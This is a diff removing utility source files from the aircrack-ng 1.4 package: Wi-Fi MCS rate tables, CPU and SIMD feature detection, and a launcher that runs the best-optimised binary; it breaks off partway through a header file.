-float get_80211ac_rate(const int width,
-					   const int is_short_GI,
-					   const int mcs_idx,
-					   const int amount_ss)
-{
-	// Check MCS Index
-	if (mcs_idx < 0 || mcs_idx > 9)
-	{
-		return -1.0;
-	}
-
-	// Rate index
-	uint8_t width_idx = 0;
-	switch (width)
-	{
-		case 20:
-			width_idx = 0;
-			break;
-		case 40:
-			width_idx = 1;
-			break;
-		case 80:
-			width_idx = 2;
-			break;
-		case 160:
-			width_idx = 3;
-			break;
-		default:
-			return -1.0;
-	}
-
-	// Check amount of spatial streams
-	if (amount_ss < 1 || amount_ss > 8)
-	{
-		return -1.0;
-	}
-
-	// Short GI?
-	uint8_t sgi = !!is_short_GI;
-
-	return MCS_index_rates[width_idx][sgi][amount_ss - 1][mcs_idx];
-}

aircrack-ng-1.4.tar.gz/src/aircrack-util/mcs_index_rates.h Deleted

@@ -1,54 +0,0 @@
-/*
- * Functions and macros to obtain 802.11n or ac rates based on MCS index
- *
- * Copyright (C) 2018 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
- *
- * This program is free software; you can redistribute it and/or
- * modify it under the terms of the GNU General Public License as
- * published by the Free Software Foundation; either version 2 of the
- * License, or (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful, but
- * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied
- * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and
- * NON-INFRINGEMENT.  See the GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write to the Free Software
- * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston,
- * MA 02110-1301, USA.
- *
- * In addition, as a special exception, the copyright holders give
- * permission to link the code of portions of this program with the
- * OpenSSL library under certain conditions as described in each
- * individual source file, and distribute linked combinations
- * including the two.
- * You must obey the GNU General Public License in all respects
- * for all of the code used other than OpenSSL.  If you modify
- * file(s) with this exception, you may extend this exception to your
- * version of the file(s), but you are not obligated to do so.  If you
- * do not wish to do so, delete this exception statement from your
- * version.  If you delete this exception statement from all source
- * files in the program, then also delete it here.
- */
-
-#ifndef MCS_INDEX_RATES_H
-#define MCS_INDEX_RATES_H
-
-// http://mcsindex.com/
-
-// 20/40/80/160MHz -> (0, 1, 2, 3)
-// 0: long GI, 1: short GI
-// amount of spatial streams (minus 1)
-// MCS index
-extern const float MCS_index_rates[4][2][8][10];
-
-float get_80211n_rate(const int width,
-					  const int is_short_GI,
-					  const int mcs_index);
-float get_80211ac_rate(const int width,
-					   const int is_short_GI,
-					   const int mcs_idx,
-					   const int amount_ss);
-
-#endif // MCS_INDEX_RATES_H

aircrack-ng-1.4.tar.gz/src/aircrack-util/simd_cpuid.c Deleted

@@ -1,666 +0,0 @@
-/*
- * CPU/SIMD identification routines by Len White <lwhite@nrw.ca>
- *
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write to the Free Software
- * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
- *
- */
-
-#define _GNU_SOURCE
-#include <stdio.h>
-#include <stdlib.h>
-#include <errno.h>
-#include <unistd.h>
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <string.h>
-#if defined(__i386__) || defined(__x86_64__)
-#define _X86 1
-#include <cpuid.h>
-#elif defined(__arm__)
-#ifdef HAS_AUXV
-#include <sys/auxv.h>
-#include <asm/hwcap.h>
-#endif
-#endif /* __arm__ */
-#ifdef __linux__
-#include <fcntl.h>
-#include <sys/stat.h>
-#include <linux/sysctl.h>
-#endif
-#if defined(__FreeBSD__) || defined(__OpenBSD__)
-#include <sys/user.h>
-#include <sys/sysctl.h>
-#endif
-#include <dirent.h>
-
-#include "simd_cpuid.h"
-#include "common.h"
-
-#ifdef __linux__
-#define CPUFREQ_CPU0C "/sys/devices/system/cpu/cpu0/cpufreq/scaling_cur_freq"
-#define CPUFREQ_CPU0M "/sys/devices/system/cpu/cpu0/cpufreq/scaling_max_freq"
-#define CORETEMP_PATH "/sys/devices/platform/coretemp.0/"
-int cpuid_readsysfs(const char * file);
-int cpuid_findcpusensorpath(const char * path);
-#endif
-
-struct _cpuinfo cpuinfo = {0, NULL, NULL, 0, 0, 0, 0, 0, 0, 0, 0.0, NULL};
-
-//
-// Until better support for other arch's is added an ifdef is needed
-//
-unsigned long
-getRegister(const unsigned int val, const char from, const char to)
-{
-	unsigned long mask = (1 << (to + 1)) - 1;
-
-	if (to == 31) return val >> from;
-
-	return (val & mask) >> from;
-}
-
-void sprintcat(char * dest, const char * src, size_t len)
-{
-	if (strlen(dest)) (void) strncat(dest, ",", len);
-
-	(void) strncat(dest, src, len);
-}
-
-int is_dir(const char * dir)
-{
-	struct stat sb;
-
-	if (!stat(dir, &sb)) return S_ISDIR(sb.st_mode);
-
-	return 0;
-}
-
-unsigned long GetCacheTotalLize(unsigned ebx, unsigned ecx)
-{
-	unsigned long LnSz, SectorSz, WaySz, SetSz;
-	LnSz = getRegister(ebx, 0, 11) + 1;
-	SectorSz = getRegister(ebx, 12, 21) + 1;
-	WaySz = getRegister(ebx, 22, 31) + 1;
-	SetSz = getRegister(ecx, 0, 31) + 1;
-	return (SetSz * WaySz * SectorSz * LnSz);
-}
-
-//
-// Return maximum SIMD size for the CPU.
-// AVX512F		  		= 16 / 512 bit
-// AVX2		  		= 8 / 256 bit
-// SSE2-4.2 + AVX / NEON	= 4 / 128 bit
-// MMX / CPU Fallback		= 1 /  64 bit
-//
-int cpuid_simdsize(int viewmax)
-{
-#ifdef _X86
-	unsigned eax = 0, ebx = 0, ecx = 0, edx = 0;
-	unsigned int max_level = __get_cpuid_max(0, NULL);
-
-	if (max_level >= 7)
-	{
-		__cpuid_count(7, 0, eax, ebx, ecx, edx);
-
-		if (ebx & (1 << 16))
-		{ // AVX512F
-			return 16;
-		}
-		else if (ebx & (1 << 5))
-		{ // AVX2
-			return 8;
-		}
-	}
-
-	__cpuid(1, eax, ebx, ecx, edx);
-
-	if (edx & (1 << 26)) // SSE2
-		return 4;
-
-#elif defined(__arm__) && defined(HAS_AUXV)
-	long hwcaps = getauxval(AT_HWCAP);
-
-	if (hwcaps & (1 << 12)) // NEON
-		return 4;
-#endif
-	(void) viewmax;
-
-	// MMX or CPU Fallback
-	return 1;
-}
-
-#ifdef _X86
-char * cpuid_vendor(void)
-{
-	unsigned eax = 0, ebx = 0, ecx = 0, edx = 0;
-
-	__cpuid(0, eax, ebx, ecx, edx);
-
-	if ((ebx == 0x756E6547) && (edx == 0x49656E69))
-		return "Intel";
-	else if ((ebx == 0x68747541) || (ebx == 0x69444D41))
-		return "AMD";
-	else if (ebx == 0x746E6543)
-		return "Centaur (VIA)";
-	else if (ebx == 0x69727943)
-		return "Cyrix";
-	else if ((ebx == 0x6E617254)
-			 || ((ebx == 0x756E6547) && (edx == 0x54656E69)))
-		return "Transmeta";
-	else if (ebx == 0x646F6547)
-		return "Geode by NSC (AMD)";
-	else if (ebx == 0x4778654E)
-		return "NexGen";
-	else if (ebx == 0x65736952)
-		return "Rise";
-	else if (ebx == 0x20536953)
-		return "SiS";
-	else if (ebx == 0x20434D55)
-		return "UMC";
-	else if (ebx == 0x20414956)
-		return "VIA";
-	else if (ebx == 0x74726F56)
-		return "Vortex86 SoC";
-	else if (ebx == 0x4B4D564B)
-		return "KVM (Virtual Machine)";
-	else if (ebx == 0x7263694D)
-		return "Microsoft Hyper-V or Virtual PC";
-	else if (ebx == 0x70726C20)
-		return "Parallels (Virtual Machine)";
-	else if (ebx == 0x61774D56)
-		return "VMware";
-	else if (ebx == 0x566E6558)
-		return "Xen HVM (Virtual Machine)";
-
-	return "Unknown CPU";
-}
-#endif
-
-char * cpuid_featureflags(void)
-{
-	char flags[64] = {0};
-#ifdef _X86
-	unsigned eax = 0, ebx = 0, ecx = 0, edx = 0;
-	unsigned int max_level = __get_cpuid_max(0, NULL);
-
-	__cpuid(1, eax, ebx, ecx, edx);
-
-	if (edx & (1 << 23)) sprintcat((char *) &flags, "MMX", sizeof(flags));
-
-	if (edx & (1 << 25)) sprintcat((char *) &flags, "SSE", sizeof(flags));
-
-	if (edx & (1 << 26)) sprintcat((char *) &flags, "SSE2", sizeof(flags));
-
-	if (ecx & (1 << 0)) sprintcat((char *) &flags, "SSE3", sizeof(flags));
-
-	if (ecx & (1 << 9)) sprintcat((char *) &flags, "SSSE3", sizeof(flags));
-
-	if (ecx & (1 << 19)) sprintcat((char *) &flags, "SSE4.1", sizeof(flags));
-
-	if (ecx & (1 << 20)) sprintcat((char *) &flags, "SSE4.2", sizeof(flags));
-
-	if (ecx & (1 << 25)) sprintcat((char *) &flags, "AES-NI", sizeof(flags));
-
-	// Don't set this if we got it from a higher topology previously.
-	if (cpuinfo.maxlogic
-		== 0) // Maximum addressable logical CPUs per pkg/socket.
-		cpuinfo.maxlogic = (ebx >> 16) & 0xFF;
-
-	if (edx & (1 << 28)) // Hyper-threading
-		cpuinfo.htt = 1;
-
-	if (ecx & (1 << 28)) // AVX
-		sprintcat((char *) &flags, "AVX", sizeof(flags));
-
-	if (ecx & (1 << 31)) // Hypervisor
-		cpuinfo.hv = 1;
-
-	if (max_level >= 7)
-	{
-		__cpuid_count(7, 0, eax, ebx, ecx, edx);
-
-		if (ebx & (1 << 5)) // AVX2
-			sprintcat((char *) &flags, "AVX2", sizeof(flags));
-
-		if (ebx & (1 << 16)) // AVX512F
-			sprintcat((char *) &flags, "AVX512F", sizeof(flags));
-	}
-#elif defined(__arm__) && defined(HAS_AUXV)
-	long hwcaps = getauxval(AT_HWCAP);
-
-	if (hwcaps & (1 << 12)) sprintcat((char *) &flags, "NEON", sizeof(flags));
-
-	if (hwcaps & (1 << 1)) sprintcat((char *) &flags, "HALF", sizeof(flags));
-
-	if (hwcaps & (1 << 2)) sprintcat((char *) &flags, "THUMB", sizeof(flags));
-
-	if (hwcaps & (1 << 11))
-		sprintcat((char *) &flags, "THUMBEE", sizeof(flags));
-
-	if (hwcaps & (1 << 6)) sprintcat((char *) &flags, "VFP", sizeof(flags));
-
-	if ((hwcaps & (1 << 13)) || (hwcaps & (1 << 14)))
-		sprintcat((char *) &flags, "VFPv3", sizeof(flags));
-
-	if (hwcaps & (1 << 16)) sprintcat((char *) &flags, "VFPv4", sizeof(flags));
-
-	if (hwcaps & (1 << 15)) sprintcat((char *) &flags, "TLS", sizeof(flags));
-
-	if (hwcaps & (1 << 10)) sprintcat((char *) &flags, "CRUNCH", sizeof(flags));
-
-	if (hwcaps & (1 << 9)) sprintcat((char *) &flags, "iwMMXt", sizeof(flags));
-
-	if ((hwcaps & (1 << 17)) || (hwcaps & (1 << 18)))
-		sprintcat((char *) &flags, "IDIV", sizeof(flags));
-#endif
-	return strdup(flags);
-}
-
-float cpuid_getcoretemp(void)
-{
-#ifdef __FreeBSD__
-	int tempval = 0;
-	size_t len = sizeof(tempval);
-
-	if (sysctlbyname("dev.cpu.0.temperature", &tempval, &len, NULL, 0) == -1)
-		return 0;
-
-	cpuinfo.coretemp = (tempval - 2732) / 10;
-#elif __linux__
-	if (cpuinfo.cputemppath != NULL)
-	{
-		cpuinfo.coretemp
-			= cpuid_readsysfs((const char *) cpuinfo.cputemppath) / 1000;
-	}
-#else
-	return 0;
-#endif
-	return cpuinfo.coretemp;
-}
-
-#ifdef __linux__
-//
-// Locate the primary temp input on the coretemp sysfs
-//
-int cpuid_findcpusensorpath(const char * path)
-{
-	DIR * dirp;
-	struct dirent * dp;
-	char tbuf[16][32] = {{0}};
-	int cnt = 0, i = 0, sensorx = 0;
-	char sensor[8] = {0};
-
-	dirp = opendir(path);
-
-	if (dirp == NULL) return -1;
-
-	snprintf(sensor, sizeof(sensor), "temp%d", sensorx);
-
-	while ((dp = readdir(dirp)) != NULL)
-	{
-		if (!strncmp(dp->d_name, sensor, 5))
-		{
-			(void) closedir(dirp);
-			if (asprintf(&cpuinfo.cputemppath,
-						 "%stemp%d_input",
-						 CORETEMP_PATH,
-						 sensorx)
-				== -1)
-			{
-				perror("asprintf");
-			}
-			return sensorx;
-		}
-		else if (!strncmp(dp->d_name, "temp", 4))
-			sprintf(tbuf[cnt++], "%s", dp->d_name);
-	}
-
-	(void) closedir(dirp);
-
-	// Hopefully we found the ID on the first pass, but Linux is its infinite
-	// wisdom
-	// sometimes starts the sensors at 2-6+
-	for (sensorx = 1; sensorx < 8; sensorx++)
-		for (i = 0; i < cnt; i++)
-		{
-			snprintf(sensor, sizeof(sensor), "temp%d", sensorx);
-
-			if (!strncasecmp(tbuf[i], sensor, strlen(sensor)))
-			{
-				if (asprintf(&cpuinfo.cputemppath,
-							 "%stemp%d_input",
-							 CORETEMP_PATH,
-							 sensorx)
-					== -1)
-				{
-					perror("asprintf");
-				}
-				return sensorx;
-			}
-		}
-
-	return -1;
-}
-
-int cpuid_readsysfs(const char * file)
-{
-	int fd, ival = 0;
-	struct stat sf;
-	char buf[16] = {0};
-
-	if (stat(file, &sf)) return -1;
-
-	fd = open(file, O_RDONLY);
-
-	if (fd == -1) return -1;
-
-	if (read(fd, &buf, sizeof(buf)))
-	{
-		ival = atoi(buf);
-	}
-
-	close(fd);
-
-	return ival;
-}
-
-//
-// Return CPU frequency from scaling governor when supported
-//
-int cpuid_getfreq(int type)
-{
-	int fd, ifreq = 0;
-	struct stat sf;
-	char freq[16] = {0}, *fptr;
-
-	fptr = (type == 1 ? CPUFREQ_CPU0C : CPUFREQ_CPU0M);
-
-	if (stat(fptr, &sf)) return 0;
-
-	fd = open(fptr, O_RDONLY);
-
-	if (fd == -1) return 0;
-
-	if (read(fd, &freq, sizeof(freq))) ifreq = atoi(freq) / 1000;
-
-	close(fd);
-
-	return ifreq;
-}
-#endif
-
-char * cpuid_modelinfo(void)
-{
-#ifdef _X86
-	unsigned eax = 0, ebx = 0, ecx = 0, edx = 0;
-	int bi = 2, broff = 0;
-	char * tmpmodel = calloc(1, (sizeof(unsigned) * 4) * 5);
-#elif __linux__
-	FILE * cfd;
-	char *line = NULL, *token = NULL;
-	size_t linecap = 0;
-	ssize_t linelen;
-#elif __FreeBSD__ /* ARM support for FreeBSD */
-	int mib[] = {CTL_HW, HW_MODEL};
-	char modelbuf[64];
-	size_t len = sizeof(modelbuf);
-#endif
-	char *pm = NULL, *model = NULL;
-
-#ifdef _X86
-	if (tmpmodel == NULL)
-	{
-		fprintf(stderr,
-				"ERROR: calloc() failed to allocate memory for "
-				"cpuid_modelinfo(): %s\n",
-				strerror(errno));
-		return "Unknown";
-	}
-
-	for (; bi < 5; bi++, broff += 16)
-	{
-		__cpuid(0x80000000 + bi, eax, ebx, ecx, edx);
-
-		memcpy(tmpmodel + broff, &eax, sizeof(unsigned));
-		memcpy(tmpmodel + broff + 4, &ebx, sizeof(unsigned));
-		memcpy(tmpmodel + broff + 8, &ecx, sizeof(unsigned));
-		memcpy(tmpmodel + broff + 12, &edx, sizeof(unsigned));
-	}
-
-	pm = tmpmodel;
-
-#elif __linux__
-	cfd = fopen("/proc/cpuinfo", "r");
-
-	if (cfd == NULL)
-	{
-		fprintf(stderr,
-				"ERROR: Failed opening /proc/cpuinfo: %s\n",
-				strerror(errno));
-		return "Unknown";
-	}
-
-	while ((linelen = getline(&line, &linecap, cfd)) > 0)
-	{
-		if (!strncasecmp(line, "model", 5))
-		{
-			token = strsep(&line, ":");
-			token = strsep(&line, ":");
-
-			token[strlen(token) - 1] = 0;
-			(void) *token++;
-
-			pm = token;
-			break;
-		}
-	}
-
-	free(line);
-	line = NULL;
-
-	fclose(cfd);
-#elif __FreeBSD__
-	if (sysctl(mib, 2, modelbuf, &len, NULL, 0))
-		snprintf(modelbuf, sizeof(modelbuf), "Unknown");
-
-	pm = modelbuf;
-#endif
-
-	// Clean up the empty spaces in the model name on some intel's because they
-	// let their engineers fall asleep on the space bar
-	while (*pm == ' ')
-	{
-		pm++;
-	}
-
-	model = strdup(pm);
-
-#ifdef _X86
-	free(tmpmodel);
-	tmpmodel = NULL;
-#endif
-
-	if (model == NULL)
-	{
-		fprintf(stderr,
-				"ERROR: strdup() failed to allocate memory for "
-				"cpuid_modelinfo(): %s\n",
-				strerror(errno));
-		return "Unknown";
-	}
-
-	return model;
-}
-
-int cpuid_getinfo()
-{
-	int cpu_count = get_nb_cpus();
-	float cpu_temp;
-#ifdef _X86
-	unsigned eax = 0, ebx = 0, ecx = 0, edx = 0;
-	unsigned int max_level = __get_cpuid_max(0, NULL);
-	int topologyLevel = 0, topologyType;
-#ifdef DEBUG
-	int topologyShift;
-#endif
-
-	// Attempt higher level topology scan first.
-	do
-	{
-		__cpuid_count(11, topologyLevel, eax, ebx, ecx, edx);
-
-		// if EBX ==0 then this subleaf is not valid, and the processor doesn't
-		// support this.
-		if (ebx == 0) break;
-
-		topologyType = getRegister(ecx, 8, 15);
-#ifdef DEBUG
-		topologyShift = getRegister(eax, 0, 4);
-#endif
-
-		if ((topologyType == 2) && ((int) eax != 0 && (int) ebx != 0))
-		{
-			cpuinfo.cores = (int) eax;
-			cpuinfo.maxlogic = (int) ebx;
-		}
-#ifdef DEBUG
-		printf("%u %u %u %u\n", eax, ebx, ecx, edx);
-		printf("type %d, shift = %d\n", topologyType, topologyShift);
-#endif
-		topologyLevel++;
-	} while (topologyLevel < 5);
-
-#ifdef DEBUG
-	__cpuid(1, eax, ebx, ecx, edx);
-
-	printf("Family: %d", (eax >> 8) & 0xF);
-	printf("\t\tStepping %d\t\t", eax & 0xF);
-	printf("Model %d\n", (eax >> 4) & 0xF);
-	printf("Processor type %d\t", (eax >> 12) & 0x3);
-	printf("Extended model %d\t", (eax >> 16) & 0xF);
-	printf("Extended family %d\n", (eax >> 20) & 0xFF);
-#endif
-
-	printf("Vendor          = %s\n", cpuid_vendor());
-
-	if (max_level >= 4)
-	{
-		__cpuid(4, eax, ebx, ecx, edx);
-
-		if (topologyLevel == 0)
-		{
-			if (eax >> 26)
-				cpuinfo.coreperid = (eax >> 26) + 1;
-			else // This processor only supports level1 topology. :'(
-				cpuinfo.coreperid = 1;
-		}
-	}
-	else
-		cpuinfo.coreperid = 1;
-
-#ifdef DEBUG
-	printf("cpuinfo.coreperid = %d, cpuinfo.cores = %d, maxlogic = %d (tlevel "
-		   "%d)\n",
-		   cpuinfo.coreperid,
-		   cpuinfo.cores,
-		   cpuinfo.maxlogic,
-		   topologyLevel);
-#endif
-
-	if ((cpuinfo.cores == 0) && (cpuinfo.coreperid != 0))
-	{
-		// On lower topology processors we have to calculate the cores from max
-		// cores per id (pkg/socket) by max addressable
-		cpuinfo.cores = (cpuinfo.maxlogic / cpuinfo.coreperid);
-	}
-#endif
-#ifdef __linux__
-	cpuid_findcpusensorpath(CORETEMP_PATH);
-	cpuinfo.cpufreq_cur = cpuid_getfreq(1);
-	cpuinfo.cpufreq_max = cpuid_getfreq(2);
-#endif
-
-	cpuinfo.model = cpuid_modelinfo();
-	cpuinfo.flags = cpuid_featureflags();
-
-	printf("Model           = %s\n", cpuinfo.model);
-	printf("Features        = %s\n", cpuinfo.flags);
-
-	// this shouldn't happen but prepare for the worst.
-	if (cpuinfo.cores == 0) cpuinfo.cores = cpu_count;
-
-	// If our max logic matches our cores, we don't have HT even if the proc
-	// says otherwise.
-	if (cpuinfo.cores == cpuinfo.maxlogic) cpuinfo.htt = 0;
-
-#ifdef _X86
-	printf("Hyper-Threading = %s\n", cpuinfo.htt ? "Yes" : "No");
-#endif
-
-	if (cpuinfo.hv) printf("Hypervisor      = Yes (Virtualization detected)\n");
-
-	// This inaccuracy can happen when running under a hypervisor, correct it.
-	if (cpuinfo.cores > cpuinfo.maxlogic) cpuinfo.maxlogic = cpuinfo.cores;
-
-	if (cpuinfo.cpufreq_cur)
-		printf("CPU frequency   = %d MHz (Max: %d MHz)\n",
-			   cpuinfo.cpufreq_cur,
-			   cpuinfo.cpufreq_max);
-
-	cpu_temp = cpuid_getcoretemp();
-	if (cpu_temp != 0.0) printf("CPU temperature = %2.2f C\n", cpu_temp);
-
-	if (cpuinfo.htt) printf("Logical CPUs    = %d\n", cpuinfo.maxlogic);
-
-	printf("CPU cores       = %d", cpuinfo.cores);
-
-	if (cpuinfo.maxlogic != cpu_count)
-	{
-		if (cpu_count > cpuinfo.maxlogic)
-			printf(" (%d total, %d sockets)",
-				   cpu_count,
-				   (cpu_count / cpuinfo.maxlogic));
-		else
-			printf(" (%d total)", cpu_count);
-	}
-
-	cpuinfo.simdsize = cpuid_simdsize(1);
-
-	printf("\nSIMD size       = %d ", cpuinfo.simdsize);
-
-	if (cpuinfo.simdsize == 1)
-		printf("(64 bit)\n");
-	else if (cpuinfo.simdsize == 4)
-		printf("(128 bit)\n");
-	else if (cpuinfo.simdsize == 8)
-		printf("(256 bit)\n");
-	else if (cpuinfo.simdsize == 16)
-		printf("(512 bit)\n");
-	else
-		printf("(unknown)\n");
-
-	free(cpuinfo.flags);
-	cpuinfo.flags = NULL;
-	free(cpuinfo.model);
-	cpuinfo.model = NULL;
-
-	if (cpuinfo.cputemppath != NULL)
-	{
-		free(cpuinfo.cputemppath);
-		cpuinfo.cputemppath = NULL;
-	}
-
-	return 0;
-}

aircrack-ng-1.4.tar.gz/src/aircrack-util/trampoline.c Deleted

@@ -1,294 +0,0 @@
-/*
- *  Copyright (C) 2018 Joseph Benden <joe@benden.us>
- *
- *  This program is free software; you can redistribute it and/or modify
- *  it under the terms of the GNU General Public License as published by
- *  the Free Software Foundation; either version 2 of the License, or
- *  (at your option) any later version.
- *
- *  This program is distributed in the hope that it will be useful,
- *  but WITHOUT ANY WARRANTY; without even the implied warranty of
- *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- *  GNU General Public License for more details.
- *
- *  You should have received a copy of the GNU General Public License
- *  along with this program; if not, write to the Free Software
- *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
- */
-
-#ifndef NDEBUG
-#define NDEBUG
-#endif
-
-#include <assert.h>
-#include <stdio.h>
-#include <errno.h>
-
-#ifdef HAVE_STDLIB_H
-#include <stdlib.h>
-#endif
-
-#ifdef HAVE_UNISTD_H
-#include <unistd.h>
-#endif
-
-#ifdef HAVE_SYS_TYPES_H
-#include <sys/types.h>
-#endif
-
-#ifdef HAVE_STRING_H
-#include <string.h>
-#endif
-
-#ifdef HAVE_STRINGS_H
-#include <strings.h>
-#endif
-
-#include "trampoline.h"
-
-#ifndef MAX_PATH
-#define MAX_PATH 16536
-#endif
-
-#ifndef EXEEXT
-#define EXEEXT ""
-#endif
-
-#ifndef AIRCRACK_LIBEXEC_PATH
-#define AIRCRACK_LIBEXEC_PATH "/usr/local/libexec/aircrack-ng"
-#endif
-
-#ifndef TRAMPOLINE_TARGET
-#define TRAMPOLINE_TARGET "aircrack-ng"
-#endif
-
-static void simd_select_best_binary(char * buffer,
-									size_t buffer_remaining,
-									int simd_features)
-{
-	assert(buffer != NULL);
-	assert(buffer_remaining > 0);
-
-	if (simd_features & SIMD_SUPPORTS_AVX2)
-	{
-		strncat(buffer, TRAMPOLINE_TARGET "--avx2" EXEEXT, buffer_remaining);
-	}
-	else if (simd_features & SIMD_SUPPORTS_AVX)
-	{
-		strncat(buffer, TRAMPOLINE_TARGET "--avx" EXEEXT, buffer_remaining);
-	}
-	else if (simd_features & SIMD_SUPPORTS_SSE2)
-	{
-		strncat(buffer, TRAMPOLINE_TARGET "--sse2" EXEEXT, buffer_remaining);
-	}
-	/*
-  else if (simd_features & SIMD_SUPPORTS_MMX)
-  {
-	strncat (buffer, TRAMPOLINE_TARGET "--mmx" EXEEXT, buffer_remaining);
-  }
-  */
-	else if (simd_features & SIMD_SUPPORTS_ASIMD)
-	{
-		strncat(buffer, TRAMPOLINE_TARGET "--asimd" EXEEXT, buffer_remaining);
-	}
-	else if (simd_features & SIMD_SUPPORTS_NEON)
-	{
-		strncat(buffer, TRAMPOLINE_TARGET "--neon" EXEEXT, buffer_remaining);
-	}
-	else if (simd_features & SIMD_SUPPORTS_POWER8)
-	{
-		strncat(buffer, TRAMPOLINE_TARGET "--power8" EXEEXT, buffer_remaining);
-	}
-	else if (simd_features & SIMD_SUPPORTS_ALTIVEC)
-	{
-		strncat(buffer, TRAMPOLINE_TARGET "--altivec" EXEEXT, buffer_remaining);
-	}
-	else
-	{
-		strncat(buffer, TRAMPOLINE_TARGET "--generic" EXEEXT, buffer_remaining);
-	}
-}
-
-static void determine_path_envvar(char * binary_path)
-{
-	assert(binary_path != NULL);
-
-	strncpy(binary_path, "PATH=", MAX_PATH);
-
-	if (getenv("PATH"))
-	{
-		strncat(
-			binary_path, getenv("PATH"), MAX_PATH - strlen(binary_path) - 1);
-	}
-	else
-	{
-		strncat(binary_path,
-				"/bin:/usr/bin:/usr/local/bin",
-				MAX_PATH - strlen(binary_path) - 1);
-	}
-}
-
-static void initialize_full_path(char * binary_path)
-{
-	assert(binary_path != NULL);
-
-	strncpy(binary_path, AIRCRACK_LIBEXEC_PATH, MAX_PATH);
-
-	if (getenv("AIRCRACK_LIBEXEC_PATH"))
-	{
-		strncpy(binary_path, getenv("AIRCRACK_LIBEXEC_PATH"), MAX_PATH);
-	}
-
-	strncat(binary_path, "/", MAX_PATH - strlen(binary_path) - 1);
-}
-
-static int perform_simd_detection(void)
-{
-	int result;
-
-	simd_init();
-
-	result = simd_get_supported_features();
-
-#ifndef NDEBUG
-	(void) printf("D: simd_features=%d\n", result);
-#endif
-
-	simd_destroy();
-
-	return (result);
-}
-
-int main(int argc, char * argv[])
-{
-	int rc = 0;
-	int simd_features;
-	char binary_path[MAX_PATH + 1];
-	char path_env[MAX_PATH + 1];
-	char ** args = NULL;
-	char ** environment = NULL;
-
-	memset(binary_path, 0, MAX_PATH + 1);
-	memset(path_env, 0, MAX_PATH + 1);
-
-	initialize_full_path(binary_path);
-
-	simd_features = perform_simd_detection();
-
-	// select the best binary, based on the CPU features detected
-	simd_select_best_binary(
-		binary_path, MAX_PATH - strlen(binary_path) - 1, simd_features);
-
-	// set-up PATH environment variable
-	determine_path_envvar(path_env);
-
-	// prepare arguments
-	args = calloc(argc + 1, sizeof(char *));
-	size_t n_args = 0;
-
-	if (!args)
-	{
-		(void) fprintf(
-			stderr, "F: Memory allocation failure: %s\n", strerror(errno));
-		goto out;
-	}
-
-	// add the binary as the first parameter
-	args[n_args] = strdup(binary_path);
-
-	if (!args[n_args])
-	{
-		(void) fprintf(
-			stderr, "F: Memory allocation failure: %s\n", strerror(errno));
-		goto out;
-	}
-
-	++n_args;
-
-	// add in all passed parameters
-	for (size_t idx = 1; idx < (size_t) argc; ++idx)
-	{
-		args[n_args] = strdup(argv[idx]);
-
-		if (!args[n_args])
-		{
-			(void) fprintf(
-				stderr, "F: Memory allocation failure: %s\n", strerror(errno));
-			goto out;
-		}
-
-		++n_args;
-	}
-
-	// prepare sanitized environment variables
-	environment = calloc(2, sizeof(char *));
-	size_t n_envs = 0;
-
-	if (!environment)
-	{
-		(void) fprintf(
-			stderr, "F: Memory allocation failure: %s\n", strerror(errno));
-		goto out;
-	}
-
-	environment[n_envs] = strdup(path_env);
-	if (!environment[n_envs])
-	{
-		(void) fprintf(
-			stderr, "F: Memory allocation failure: %s\n", strerror(errno));
-		goto out;
-	}
-	++n_envs;
-
-#ifndef NDEBUG
-	(void) printf("D: Launching %s\n", binary_path);
-	for (size_t idx = 0; idx < n_args; ++idx)
-	{
-		(void) printf("D: Arg %lu: %s\n", (unsigned long) idx, args[idx]);
-	}
-	for (size_t idx = 0; idx < n_envs; ++idx)
-	{
-		(void) printf(
-			"D: Env %lu: %s\n", (unsigned long) idx, environment[idx]);
-	}
-#endif
-
-	rc = execve(
-		binary_path, (char * const *) args, (char * const *) environment);
-	if (rc == -1)
-	{
-		(void) fprintf(
-			stderr, "F: Failed to spawn binary: %s\n", strerror(errno));
-	}
-
-out:
-	if (args)
-	{
-		// release arguments
-		for (size_t idx = 0; idx < n_args; ++idx)
-		{
-			if (args[idx])
-			{
-				free(args[idx]);
-			}
-		}
-
-		free(args);
-	}
-
-	if (environment)
-	{
-		// release environment variables
-		for (size_t idx = 0; idx < n_envs; ++idx)
-		{
-			if (environment[idx])
-			{
-				free(environment[idx]);
-			}
-		}
-
-		free(environment);
-	}
-
-	return (rc);
-}

aircrack-ng-1.4.tar.gz/src/aircrack-util/trampoline.h Deleted

@@ -1,45 +0,0 @@
-/*
- *  Copyright (C) 2018 Joseph Benden <joe@benden.us>
- *
- *  This program is free software; you can redistribute it and/or modify
- *  it under the terms of the GNU General Public License as published by
- *  the Free Software Foundation; either version 2 of the License, or
- *  (at your option) any later version.
- *
- *  This program is distributed in the hope that it will be useful,
- *  but WITHOUT ANY WARRANTY; without even the implied warranty of
- *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- *  GNU General Public License for more details.
- *
- *  You should have received a copy of the GNU General Public License
- *  along with this program; if not, write to the Free Software
- *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
- */
-
-#ifndef AIRCRACK_NG_TRAMPOLINE_H
-#define AIRCRACK_NG_TRAMPOLINE_H
-
-#ifdef __cplusplus
-extern "C" {
-#endif
-
-#define SIMD_SUPPORTS_NONE (1 << 0)
-#define SIMD_SUPPORTS_MMX (1 << 1)
-#define SIMD_SUPPORTS_SSE2 (1 << 2)
-#define SIMD_SUPPORTS_AVX (1 << 3)
-#define SIMD_SUPPORTS_AVX2 (1 << 4)
